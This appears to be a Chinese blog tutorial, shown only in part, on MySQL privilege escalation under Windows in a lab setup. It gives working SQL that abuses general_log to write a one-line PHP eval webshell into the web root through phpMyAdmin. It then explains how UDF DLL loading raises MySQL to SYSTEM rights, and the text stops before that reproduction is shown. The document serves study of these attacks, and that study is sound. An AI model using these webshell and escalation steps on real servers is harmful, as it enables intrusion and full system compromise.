title: Windows下三种mysql提权剖析
索引
这篇文章是写基于windows环境下的一些mysql提权方法的分析并利用。这些方法老生常谈,但困于很多文章在讲分析和利用的时候模棱两可,因此想总结一下常见的方法思路。基于windows的提权姿势多的数不胜数,一般在配置文件可以嗅探到root密码的情况(root密码已知)下,或者注入、爆破拿到root密码下,可以考虑mysql提权。文章内容很基础,下面对这些方法进行一些粗谈,有什么理解错误的地方还请客观们轻打...大佬们可以略过这篇文章qaq...
实验环境
靶机A: Windows 7 SP1
靶机B: Windows server 2003 enterprise x64
Phpstudy搭建的php+mysql
php版本:5.4.45
mysql版本:5.5.53
攻击环境:已知root账号密码,网站存在phpmyadmin页面
通过phpmyadmin来getshell
简单测试
利用log变量,猜一下绝对路径
看到phpstudy,猜测根目录在WWW下,into outfile写个马测一下能传不
果然是用不成into outfile,因为file_priv为null,那么尝试使用日志写马
利用日志写shell
开启日志记录
set global general_log='on';
日志文件导出指定目录
set global general_log_file='C:/phpstudy/WWW/hp.php';
记录sql语句写马,这里我就是演示一下,没有安全狗,直接传原马
select '<?php @eval($_POST["hp"]); ?>';
关闭记录
set global general_log=off;
菜刀连接
url: 192.168.11.106/hp.php
看一下权限,普通成员hpd0egr,创建用户错误5。
接下来开始提权之路!
UDF提权
什么是UDF
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
提权原理
先学习一下什么叫动态链接库
动态链接库
动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用
提权分析
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
提权复现
工具
这里我用暗月的马,改了一些参数。后面我会把所有工具打包
访问提权马